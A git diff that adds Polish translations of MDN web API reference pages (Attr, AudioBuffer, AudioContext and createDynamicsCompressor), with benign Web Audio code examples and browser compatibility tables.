+ <dt><a class="external" href="http://www.w3.org/TR/wai-aria/">WAI-ARIA Specification</a></dt>
+ <dd>The W3C specification itself, useful as a reference. Note that, at this stage, it is important to test compatibility, as implementations are still inconsistent.</dd>
+ <dt><a class="external" href="http://www.w3.org/WAI/PF/aria-practices/">WAI-ARIA Authoring Practices</a></dt>
+ <dd>
+ <p>Like the W3C WAI-ARIA specification, the official best practices represents a future ideal — a day when authors can rely on consistent ARIA support across browsers and screen readers. The W3C documents provide an in-depth view of ARIA.</p>
+
+ <p>For now, web developers implementing ARIA should maximize compatibility. Use best practices docs and examples based on current implementations.</p>
+ </dd>
+ <dt><a class="external" href="http://www.openajax.org/member/wiki/Accessibility">Open AJAX Accessibility Task Force</a></dt>
+ <dd>The Open AJAX effort centers around developing tools, sample files, and automated tests for ARIA.</dd>
+ <dt><a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques" title="ARIA Techniques">Under Construction: WCAG 2.0 ARIA Techniques</a></dt>
+ <dd>The community needs a complete set of WCAG techniques for WAI-ARIA + HTML, so that organizations can be comfortable claiming their ARIA-enabled content is WCAG compliant. This is important when regulations or policies are based on WCAG.</dd>
+</dl>
+</div>
+</div>
+
+<h3 id="Related_Topics" name="Related_Topics">Related Topics</h3>
+
+<p><a href="/en-US/docs/Accessibility">Accessibility</a>, <a href="/en-US/docs/AJAX">AJAX</a>, <a href="/en-US/docs/JavaScript">JavaScript</a></p>
diff --git a/files/pl/web/api/attr/index.html b/files/pl/web/api/attr/index.html
new file mode 100644
index 0000000000..8088fae8a9
--- /dev/null
+++ b/files/pl/web/api/attr/index.html
@@ -0,0 +1,164 @@
+---
+title: Attr
+slug: Web/API/Attr
+tags:
+ - API
+ - DOM
+translation_of: Web/API/Attr
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Interfejs </span></font><strong>Attr</strong></code> reprezentuje jeden z atrybutów elementu DOM jako obiekt.W większości metod DOM otrzymujesz wartość atrybutu bezpośrednio jako ciąg znaków (np., {{domxref("Element.getAttribute()")}}), oprócz niektórych funkcji (np., {{domxref("Element.getAttributeNode()")}}) lub sposobów iteracji zwracających typ <code>Attr</code>.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<div class="warning"><strong>Warning: </strong>Poczynając od Gecko 7.0 {{geckoRelease("7.0")}}, pojawia się szereg przestarzałych właściwości i metod wyświetlających ostrzeżenia w konsoli.  Powinieneś odpowiednio przejrzeć swój kod. Zobacz <a href="#Deprecated_properties_and_methods"> Przestarzałe właściwości i metody</a> aby zobacyć pełną listę.</div>
+
+<h2 id="Właściwości">Właściwości</h2>
+
+<dl>
+ <dt>{{domxref("Attr.name", "name")}} {{readOnlyInline}}</dt>
+ <dd>Nazwa atrybutu.</dd>
+ <dt>{{domxref("Attr.namespaceURI", "namespaceURI")}} {{readOnlyInline}}</dt>
+ <dd>{{domxref("DOMString")}} reprezentujący przestrzeń nazw URI atrybutu lub <code>null</code> jeśli nie ma określonej przestrzeni nazw.</dd>
+ <dt>{{domxref("Attr.localName", "localName")}} {{readOnlyInline}}</dt>
+ <dd>{{domxref("DOMString")}} reprezentujący lokalną część kwalifikowanej przestrzeni nazw atrybutu.</dd>
+ <dt>{{domxref("Attr.prefix", "prefix")}} {{readOnlyInline}}</dt>
+ <dd>{{domxref("DOMString")}} reprezentujący prefiks przestrzeni nazw atrybutu lub <code>null</code> jeśli nie określono prefiksu.</dd>
+ <dt>{{domxref("Attr.ownerElement", "ownerElement")}} {{readOnlyInline}}</dt>
+ <dd>
+ <p>Element posiadający atrybut.</p>
+
+ <div class="note">
+ <p><strong>Note:</strong> DOM Level 4 usunął tę właściwość. Założono, że skoro otrzymujesz  <code>Attr</code> z  {{domxref("Element")}}, powinieneś znać powiązany element.<br>
+ Ponieważ nie jest to prawdą w przypadkach, takich jak obiekty <code>Attr</code> zwracane przez {{domxref("Document.evaluate")}}, DOM Living Standard wprowadził tę właściwość ponownie.</p>
+
+ <p>Gecko wyświetla notę o deprecjonowaniu poczynając od Gecko 7.0 {{geckoRelease("7.0")}}. Nota została usunięta w in Gecko 49.0 {{geckoRelease("49.0")}}.</p>
+ </div>
+ </dd>
+ <dt>{{domxref("Attr.specified", "specified")}} {{readOnlyInline}}</dt>
+ <dd>Ta właściwosć zawsze zwraca <code>true</code>. Pierwotnie, zwracała <code>true</code> jeśli właściwość była określona wprost w kodzie źródłowym lub poprzez skrypt a <code>false</code> jeśli była domyślna lub określona w <acronym title="Document Type Definition">DTD</acronym>.</dd>
+ <dt>{{domxref("Attr.value", "value")}}</dt>
+ <dd>Wartość atrybutu.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> DOM Level 3 zdefiniował <code>namespaceURI</code>, <code>localName</code> i <code>prefix</code> w interfejsie{{domxref("Node")}}. W DOM4 zostały przeniesione do <code>Attr</code>.</p>
+
+<p>Ta zmiana została zaimplementowana w Chrome 46.0 i Firefox od wersji 48.0.</p>
+</div>
+
+<h2 id="Przestarzałe_właściwości_i_metody">Przestarzałe właściwości i metody</h2>
+
+<p>Następujące właściwości są przestarzałe. Kiedy to możliwe, odpowiednie zastępcze właściwości są podane.</p>
+
+<dl>
+ <dt><code>attributes</code></dt>
+ <dd>Obecnie zawsze zwraca <code>NULL</code>.</dd>
+ <dt><code>childNodes</code> {{obsolete_inline(14)}}</dt>
+ <dd>Ta właściwość obecnie zawsze zwraca pusty {{domxref("NodeList")}}.</dd>
+ <dt><code>firstChild</code> {{obsolete_inline(14)}}</dt>
+ <dd>Obecnie zawsze zwraca <code>NULL</code>.</dd>
+ <dt><code>isId</code> {{readOnlyInline}}</dt>
+ <dd>Wskazuje czy atrybut jest atrybutem "ID". An "ID" jest atrybutem, którego wartość powinna być unikalna w całym dokumencie DOM. W HTML DOM, "id" to atrybut ID, ale XML może definiować inne. To, czy atrybut jest unikalny, czy nie, jest często determinowane przez {{Glossary("DTD")}} lub inny schemat dokumentu.</dd>
+ <dt><code>lastChild</code> {{obsolete_inline(14)}}</dt>
+ <dd>Obecnie zawsze zwraca <code>NULL</code>.</dd>
+ <dt><code>nextSibling</code></dt>
+ <dd>Obecnie zawsze zwraca <code>NULL</code>.</dd>
+ <dt><code>nodeName</code></dt>
+ <dd>Zamiast tego używaj {{domxref("Attr.name")}} .</dd>
+ <dt><code>nodeType</code></dt>
+ <dd>Obecnie zawsze zwraca 2 (<code>ATTRIBUTE_NODE</code>).</dd>
+ <dt><code>nodeValue</code></dt>
+ <dd>Zamiast tego używaj {{domxref("Attr.value")}}.</dd>
+ <dt><code>ownerDocument</code></dt>
+ <dd>Nie powinieneś był tego używać, więc prawdopodobnie nie obchodzi cię, że to zniknie.</dd>
+ <dt><code>parentNode</code></dt>
+ <dd>Obecnie zawsze zwraca <code>NULL</code>.</dd>
+ <dt><code>previousSibling</code></dt>
+ <dd>Obecnie zawsze zwraca <code>NULL</code>.</dd>
+ <dt><code>schemaTypeInfo</code> {{obsolete_inline}} {{readOnlyInline}}</dt>
+ <dd>Typ informacji powiązane z tym atrybutem. Podczas gdy typ informacji zawierany przez ten atrybut ma gwarantowaną poprawność po waładowaniu dokumentu lub wywołaniu {{domxref("Document.normalizeDocument")}}, ta właściwość może nie być wiarygodna jeśli węzeł został przeniesiony.</dd>
+ <dt><code>specified</code></dt>
+ <dd>Obecnie zawsze zwraca <code>true</code>.</dd>
+ <dt><code>textContent</code></dt>
+ <dd>Zamiast tego używaj {{domxref("Attr.value")}}.</dd>
+</dl>
+
+<p>Poniższe metody są przestarzałe:</p>
+
+<dl>
+ <dt><code>appendChild()</code> {{obsolete_inline(14)}}</dt>
+ <dd>Zamiast tego, modyfikuj wartość {{domxref("Attr.value")}}.</dd>
+ <dt><code>cloneNode()</code></dt>
+ <dd>Nie powinieneś był tego używać, więc prawdopodobnie nie obchodzi cię, że to zniknie.</dd>
+ <dt><code>createAttribute()</code></dt>
+ <dd>Zamiast tego używaj {{domxref("Element.setAttribute()")}}.</dd>
+ <dt><code>createAttributeNS()</code></dt>
+ <dd>Zamiast tego używaj {{domxref("Element.setAttributeNS()")}}.</dd>
+ <dt><code>getAttributeNode()</code></dt>
+ <dd>Zamiast tego używaj {{domxref("Element.getAttribute()")}}.</dd>
+ <dt><code>getAttributeNodeNS()</code></dt>
+ <dd>Zamiast tego używaj {{domxref("Element.getAttributeNS()")}}.</dd>
+ <dt><code>hasAttributes()</code> {{obsolete_inline("21.0")}}</dt>
+ <dd>Obecnie zawsze zwraca <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">false</span></font>.</dd>
+ <dt><code>hasChildNodes()</code></dt>
+ <dd>Obecnie zawsze zwraca <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">false</span></font>.</dd>
+ <dt><code>insertBefore()</code></dt>
+ <dd>Zamiast tego modyfikuj wartość {{domxref("Attr.value")}}.</dd>
+ <dt><code>isSupported()</code></dt>
+ <dd>Nie powinieneś był tego używać, więc prawdopodobnie nie obchodzi cię, że to zniknie.</dd>
+ <dt><code>isEqualNode()</code></dt>
+ <dd>Nie powinieneś był tego używać, więc prawdopodobnie nie obchodzi cię, że to zniknie.</dd>
+ <dt><code>normalize()</code></dt>
+ <dd>Nie powinieneś był tego używać, więc prawdopodobnie nie obchodzi cię, że to zniknie.</dd>
+ <dt><code>removeAttributeNode()</code></dt>
+ <dd>Zamiast tego używaj {{domxref("Element.removeAttribute()")}}.</dd>
+ <dt><code>removeChild()</code> {{obsolete_inline(14)}}</dt>
+ <dd>Zamiast tego, modyfikuj wartość {{domxref("Attr.value")}} instead.</dd>
+ <dt><code>replaceChild()</code> {{obsolete_inline(14)}}</dt>
+ <dd>Zamiast tego, modyfikuj wartość {{domxref("Attr.value")}} instead.</dd>
+ <dt><code>setAttributeNode()</code></dt>
+ <dd>Zamiast tego używaj {{domxref("Element.setAttribute()")}}.</dd>
+ <dt><code>setAttributeNodeNS()</code></dt>
+ <dd>Zamiast tego używaj {{domxref("Element.setAttributeNS()")}}.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("DOM WHATWG", "#interface-attr", "Attr")}}</td>
+ <td>{{Spec2("DOM WHATWG")}}</td>
+ <td>Przywraca właściwość <code>ownerElement</code> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM4", "#interface-attr", "Attr")}}</td>
+ <td>{{Spec2("DOM4")}}</td>
+ <td>
+ <ul>
+ <li>Przenosi <code>namespaceURI</code>, <code>prefix</code> i <code>localName</code> z {{domxref("Node")}} do tego API i usuwa <code>ownerElement</code>, <code>schemaTypeInfo</code> oraz <code>isId</code>.</li>
+ </ul>
+ </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM3 Core", "core.html#ID-637646024", "Attr")}}</td>
+ <td>{{Spec2("DOM3 Core")}}</td>
+ <td>Wstępna definicja</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+
+
+<p>{{Compat("api.Attr")}}</p>
diff --git a/files/pl/web/api/audiobuffer/index.html b/files/pl/web/api/audiobuffer/index.html
new file mode 100644
index 0000000000..ea611b7250
--- /dev/null
+++ b/files/pl/web/api/audiobuffer/index.html
@@ -0,0 +1,174 @@
+---
+title: AudioBuffer
+slug: Web/API/AudioBuffer
+translation_of: Web/API/AudioBuffer
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<div>
+<p>Interfejs <code>AudioBuffer</code> przedstawia krótki zasób dźwiękowy znajdujący się w pamięci, stworzony z pliku dźwiękowego za pomocą metody {{ domxref("AudioContext.decodeAudioData()") }} lub z surowych danych przy użyciu {{ domxref("AudioContext.createBuffer()") }}. Dane audio umieszczone w AudioBuffer mogą być następnie odtwarzane przez przekazanie ich do {{ domxref("AudioBufferSourceNode") }}.</p>
+</div>
+
+<p>Obiekty tego typu są przeznaczone do przechowywania drobnych fragmentów dźwiękowych, zwykle mniej niż 45s. W przypadku dłuższych dźwięków, obiekty implementujące {{domxref("MediaElementAudioSourceNode")}} są bardziej odpowiednie. Bufor zawiera dane w następującym formacie: IEEE754 32 -bitowy liniowy PCM bez przeplotu o nominalnym zakresie między -1 i +1 , czyli 32-bitowy zmiennoprzecinkowy bufor z próbkami o znormalizowanych wartościach między -1.0 a 1.0. Jeśli {{domxref("AudioBuffer")}} ma wiele kanałów, są one przechowywane w osobnym buforze.</p>
+
+<h2 id="Właściwości">Właściwości</h2>
+
+<dl>
+ <dt>{{domxref("AudioBuffer.sampleRate")}} {{readonlyInline}}</dt>
+ <dd>Zwraca wartość typu <code>float</code> reprezentującą częstotliwość próbkowania danych PCM przechowywanych w buforze wyrażoną w próbkach na sekundę.</dd>
+ <dt>{{domxref("AudioBuffer.length")}} {{readonlyInline}}</dt>
+ <dd>Zwraca wartość typu <code>int</code> reprezentującą wielkość danych PCM przechowywanych w buforze wyrażoną jako liczba okien próbek.</dd>
+ <dt>{{domxref("AudioBuffer.duration")}} {{readonlyInline}}</dt>
+ <dd>Zwraca wartość typu <code>double </code>reprezentującą czas trwania danych PCM zapisanych w buforze wyrażoną w sekundach.</dd>
+ <dt>{{domxref("AudioBuffer.numberOfChannels")}} {{readonlyInline}}</dt>
+ <dd>Zwraca wartość typu<code> int</code> reprezentującą liczbę pojedynczych kanałów audio opisanych przez dane PCM zapisanych w buforze.</dd>
+</dl>
+
+<h2 id="Metody">Metody</h2>
+
+<dl>
+ <dt>{{domxref("AudioBuffer.getChannelData()")}}</dt>
+ <dd>Zwraca tablicę {{jsxref("Float32Array")}} zawierającą dane PCM powiązane z kanałem audio określonym jako parametr <code>channel</code> <code>(0</code> reprezentuje pierwszy kanał).</dd>
+ <dt>{{domxref("AudioBuffer.copyFromChannel()")}}</dt>
+ <dd>Kopiuje próbki z danego kanału w <span class="idlType"><code>AudioBuffer</code></span> do danej tablicy.</dd>
+ <dt>{{domxref("AudioBuffer.copyToChannel()")}}</dt>
+ <dd>Kopiuje próbki z danej tablicy do danego <span class="idlType"><code>kanału w AudioBuffer</code></span>.</dd>
+</dl>
+
+<h2 id="Przykład">Przykład</h2>
+
+<p>Następujący przykład kodu pokazuje jak stworzyć <code>AudioBuffer</code> i wypełnić go białym szumem. Pełną wersję kodu można znależć w naszym repozytorium <a href="https://github.com/mdn/audio-buffer">audio-buffer demo</a>; jest dostępna także uruchomiona na żywo wersja <a href="http://mdn.github.io/audio-buffer/">running live version</a>.</p>
+
+<pre class="brush: js;highlight:[7,14,27]">// Stereo
+var channels = 2;
+
+// Tworzenie pustego, dwusekundowego buffera stereo
+// na wskaźniku audio z AudioContext
+var frameCount = audioCtx.sampleRate * 2.0;
+var myArrayBuffer = audioCtx.createBuffer(channels, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+ // Wypełnienie buffera białym szumem;
+ // Wartość losowa pomiędzy -1.0 a 1.0
+ for (var channel = 0; channel &lt; channels; channel++) {
+ // To daje nam aktualną tablice zawierającą dane
+ var nowBuffering = myArrayBuffer.getChannelData(channel);
+ for (var i = 0; i &lt; frameCount; i++) {
+ // Math.random() znajduje się w przedziale [0; 1.0]
+ // audio musi znajdować się w [-1.0; 1.0]
+ nowBuffering[i] = Math.random() * 2 - 1;
+ }
+ }
+
+ // Dostarczenie AudioBufferSourceNode.
+ // To jest AudioNode dedykowane do używania wtedy, kiedy chcemy odtworzyć dany AudioBuffer
+ var source = audioCtx.createBufferSource();
+
+ // Określanie buffera w AudioBufferSourceNode
+ source.buffer = myArrayBuffer;
+
+ // Podłączanie AudioBufferSourceNode do
+ // destynacji, dzięki czemu możemy usłyszeć dźwięk
+ source.connect(audioCtx.destination);
+
+ // start odtwarzania źródła
+ source.start();
+
+}
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Audio API', '#the-audiobuffer-interface', 'AudioBuffer')}}</td>
+ <td>{{Spec2('Web Audio API')}}</td>
+ <td>Definicja wstępna.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Cecha</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Wsparcie podstawowe</td>
+ <td>14 {{property_prefix("webkit")}}</td>
+ <td>{{CompatGeckoDesktop(25)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>15 {{property_prefix("webkit")}}<br>
+ 22</td>
+ <td>6 {{property_prefix("webkit")}}</td>
+ </tr>
+ <tr>
+ <td><code>copyFromChannel()</code> and <code>copyToChannel()</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop(27)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Cecha</th>
+ <th>Android</th>
+ <th>Chrome</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Wsparcie podstawowe</td>
+ <td>{{CompatNo}}</td>
+ <td>28 {{property_prefix("webkit")}}</td>
+ <td>{{CompatGeckoMobile(25)}}</td>
+ <td>1.2</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>6 {{property_prefix("webkit")}}</td>
+ </tr>
+ <tr>
+ <td><code>copyFromChannel()</code> and <code>copyToChannel()</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile(27)}}</td>
+ <td> </td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Używanie Web Audio API</a></li>
+</ul>
diff --git a/files/pl/web/api/audiocontext/createdynamicscompressor/index.html b/files/pl/web/api/audiocontext/createdynamicscompressor/index.html
new file mode 100644
index 0000000000..7788cc64a9
--- /dev/null
+++ b/files/pl/web/api/audiocontext/createdynamicscompressor/index.html
@@ -0,0 +1,142 @@
+---
+title: AudioContext.createDynamicsCompressor()
+slug: Web/API/AudioContext/createDynamicsCompressor
+translation_of: Web/API/BaseAudioContext/createDynamicsCompressor
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>Metoda <code>createDynamicsCompressor() </code>interfejsu domxref("AudioContext") }} jest używana do utworzenia {{domxref("DynamicsCompressorNode")}}, który może być zastosowany do dodawania kompresji na sygnał audio.</p>
+</div>
+
+<p>Kompresja zcisza najgłośniejsze fragmenty sygnału i podgłaśnia najcichsze. W rezultacie możemy uzyskać głośniejszy, bogatszy i pełniejszy dźwięk. Jest to szczególnie istotne w przypadku gier oraz aplikacji muzycznych, w których duża ilość dźwięków jest odtwarzana jednocześnie oraz tam, gdzie chcesz kontrolować poziom sygnału głównego i unikać zniekształceń sygnału wyjściowego audio.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="brush: js">var audioCtx = new AudioContext();
+var compressor = audioCtx.createDynamicsCompressor();</pre>
+
+<h3 id="Zwracanie_wartości_funkcji_(return)">Zwracanie wartości funkcji (return)</h3>
+
+<p>{{domxref("DynamicsCompressorNode")}}.</p>
+
+<h2 id="Przykład">Przykład</h2>
+
+<p>Poniższy kod przedstawia przykład prostego zastosowania createDynamicsCompressor() w celu dodania kompresji do ścieżki dźwiękowej. Pełniejszy przykład znajdziesz klikając na nasz <a href="https://mdn.github.io/webaudio-examples/compressor-example/">przykład podstawowego kompresora</a> (<a href="https://github.com/mdn/webaudio-examples/tree/master/compressor-example">zobacz kod źródłowy</a>).</p>
+
+<pre class="brush: js;highlight[6,18,19]">// utworzenie MediaElementAudioSourceNode
+// wprowadzenie HTMLMediaElement
+var source = audioCtx.createMediaElementSource(myAudio);
+
+// utworzenie węzła kompresora (compressor node)
+var compressor = audioCtx.createDynamicsCompressor();
+compressor.threshold.value = -50;
+compressor.knee.value = 40;
+compressor.ratio.value = 12;
+compressor.reduction.value = -20;
+compressor.attack.value = 0;
+compressor.release.value = 0.25;
+
+// podłączenie AudioBufferSourceNode do destynacji
+source.connect(audioCtx.destination);
+
+button.onclick = function() {
+ var active = button.getAttribute('data-active');
+ if(active == 'false') {
+ button.setAttribute('data-active', 'true');
+ button.innerHTML = 'Remove compression';
+
+ source.disconnect(audioCtx.destination);
+ source.connect(compressor);
+ compressor.connect(audioCtx.destination);
+ } else if(active == 'true') {
+ button.setAttribute('data-active', 'false');
+ button.innerHTML = 'Add compression';
+
+ source.disconnect(compressor);
+ compressor.disconnect(audioCtx.destination);
+ source.connect(audioCtx.destination);
+ }
+}</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Audio API', '#widl-AudioContext-createDynamicsCompressor-DynamicsCompressorNode', 'createDynamicsCompressor()')}}</td>
+ <td>{{Spec2('Web Audio API')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Cecha</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Wsparcie podstawowe</td>
+ <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop(25.0)}} </td>
+ <td>{{CompatNo}}</td>
+ <td>15.0{{property_prefix("webkit")}}<br>
+ 22 (unprefixed)</td>
+ <td>6.0{{property_prefix("webkit")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Cecha</th>
+ <th>Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Wsparcie podstawowe</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>26.0</td>
+ <td>1.2</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>33.0</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Używanie Web Audio API</a></li>
+</ul>
diff --git a/files/pl/web/api/audiocontext/index.html b/files/pl/web/api/audiocontext/index.html
new file mode 100644
index 0000000000..db5d07d69c
--- /dev/null
+++ b/files/pl/web/api/audiocontext/index.html
@@ -0,0 +1,293 @@
+---
+title: AudioContext
+slug: Web/API/AudioContext
+translation_of: Web/API/AudioContext
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<div>
+<p>Interfejs <code>AudioContext</code> reprezentuje wykres przetwarzania sygnału audio, utworzonego z połączonych ze sobą modułów audio, przy czym każdy z tych modułów reprezentowany jest przez {{domxref("AudioNode")}}. Kontekst audio kontroluje zarówno powstawanie zawartych w nim powiązań, jak również realizację przetwarzania audio lub dekodowania.  Niezbędne jest stworzenie AudioContext przez wprowadzeniem czegokolwiek innego, jako że wszystko dzieje się w kontekście.</p>
+</div>
+
+<p>AudioCintext może stanowić cel (target) eventów, dlatego implementuje inferfejs {{domxref("EventTarget")}}.</p>
+
+<h2 id="Konstruktor">Konstruktor</h2>
+
+<dl>
+ <dt>{{domxref("AudioContext.AudioContext", "AudioContext()")}}</dt>
+ <dd>Tworzy i zwraca nowy obiekt <code>AudioContext</code>.</dd>
+</dl>
+
+<h2 id="Właściwości">Właściwości</h2>
+
+<dl>
+ <dt>{{domxref("AudioContext.currentTime")}} {{readonlyInline}}</dt>
+ <dd>Zwraca <code>double</code> reprezentujące stale liczony czas w sekundach, używany do przyporządkowywania. Rozpoczyna się od 0.</dd>
+ <dt>{{domxref("AudioContext.destination")}} {{readonlyInline}}</dt>
+ <dd>Zwraca {{domxref("AudioDestinationNode")}} reprezentujące ostateczny cel wszyskich audio w kontekście. Należy traktować go jako urządzenie interpretujące audio.</dd>
+ <dt>{{domxref("AudioContext.listener")}} {{readonlyInline}}</dt>
+ <dd>Zwraca obiekt {{domxref("AudioListener")}}, używany do przestrzenności 3D.</dd>
+ <dt>{{domxref("AudioContext.sampleRate")}} {{readonlyInline}}</dt>
+ <dd>Zwraca<code> float</code> reprezentujący wskaźnik próbkowania (w samplach na sekundę) używany we wszystkich połączeniach w tym kontekście. Wskaźnik próbkowania {{domxref("AudioContext")}} nie może być zmieniany.</dd>
+ <dt>{{domxref("AudioContext.state")}} {{readonlyInline}}</dt>
+ <dd>Zwraca aktualny status <code>AudioContext</code>.</dd>
+ <dt>{{domxref("AudioContext.mozAudioChannelType")}} {{ non-standard_inline() }} {{readonlyInline}}</dt>
+ <dd>Używany do zwracania kanału audio, tak by grany dźwięk w {{domxref("AudioContext")}} był poprawnie odtwarzany na urządządzeniu Firefox OS.</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("AudioContext.onstatechange")}}</dt>
+ <dd>An event handler that runs when an event of type {{event("statechange")}} has fired. This occurs when the <code>AudioContext</code>'s state changes, due to the calling of one of the state change methods ({{domxref("AudioContext.suspend")}}, {{domxref("AudioContext.resume")}}, or {{domxref("AudioContext.close")}}).</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Also implements methods from the interface </em>{{domxref("EventTarget")}}.</p>
+
+<dl>
+ <dt>{{domxref("AudioContext.close()")}}</dt>
+ <dd>Closes the audio context, releasing any system audio resources that it uses.</dd>
+ <dt>{{domxref("AudioContext.createBuffer()")}}</dt>
+ <dd>Creates a new, empty {{ domxref("AudioBuffer") }} object, which can then be populated by data and played via an {{ domxref("AudioBufferSourceNode") }}.</dd>
+ <dt>{{domxref("AudioContext.createConstantSource()")}}</dt>
+ <dd>Creates a {{domxref("ConstantSourceNode")}} object, which is an audio source that continuously outputs a monaural (one-channel) sound signal whose samples all have the same value.</dd>
+ <dt>{{domxref("AudioContext.createBufferSource()")}}</dt>
+ <dd>Creates an {{domxref("AudioBufferSourceNode")}}, which can be used to play and manipulate audio data contained within an {{ domxref("AudioBuffer") }} object. {{ domxref("AudioBuffer") }}s are created using {{domxref("AudioContext.createBuffer")}} or returned by {{domxref("AudioContext.decodeAudioData")}} when it successfully decodes an audio track.</dd>
+ <dt>{{domxref("AudioContext.createMediaElementSource()")}}</dt>
+ <dd>Creates a {{domxref("MediaElementAudioSourceNode")}} associated with an {{domxref("HTMLMediaElement")}}. This can be used to play and manipulate audio from {{HTMLElement("video")}} or {{HTMLElement("audio")}} elements.</dd>
+ <dt>{{domxref("AudioContext.createMediaStreamSource()")}}</dt>
+ <dd>Creates a {{domxref("MediaStreamAudioSourceNode")}} associated with a {{domxref("MediaStream")}} representing an audio stream which may come from the local computer microphone or other sources.</dd>
+ <dt>{{domxref("AudioContext.createMediaStreamDestination()")}}</dt>
+ <dd>Creates a {{domxref("MediaStreamAudioDestinationNode")}} associated with a {{domxref("MediaStream")}} representing an audio stream which may be stored in a local file or sent to another computer.</dd>
+ <dt>{{domxref("AudioContext.createScriptProcessor()")}}</dt>
+ <dd>Creates a {{domxref("ScriptProcessorNode")}}, which can be used for direct audio processing via JavaScript.</dd>
+ <dt>{{domxref("AudioContext.createStereoPanner()")}}</dt>
+ <dd>Creates a {{domxref("StereoPannerNode")}}, which can be used to apply stereo panning to an audio source.</dd>
+ <dt>{{domxref("AudioContext.createAnalyser()")}}</dt>
+ <dd>Creates an {{domxref("AnalyserNode")}}, which can be used to expose audio time and frequency data and for example to create data visualisations.</dd>
+ <dt>{{domxref("AudioContext.createBiquadFilter()")}}</dt>
+ <dd>Creates a {{domxref("BiquadFilterNode")}}, which represents a second order filter configurable as several different common filter types: high-pass, low-pass, band-pass, etc.</dd>
+ <dt>{{domxref("AudioContext.createChannelMerger()")}}</dt>
+ <dd>Creates a {{domxref("ChannelMergerNode")}}, which is used to combine channels from multiple audio streams into a single audio stream.</dd>
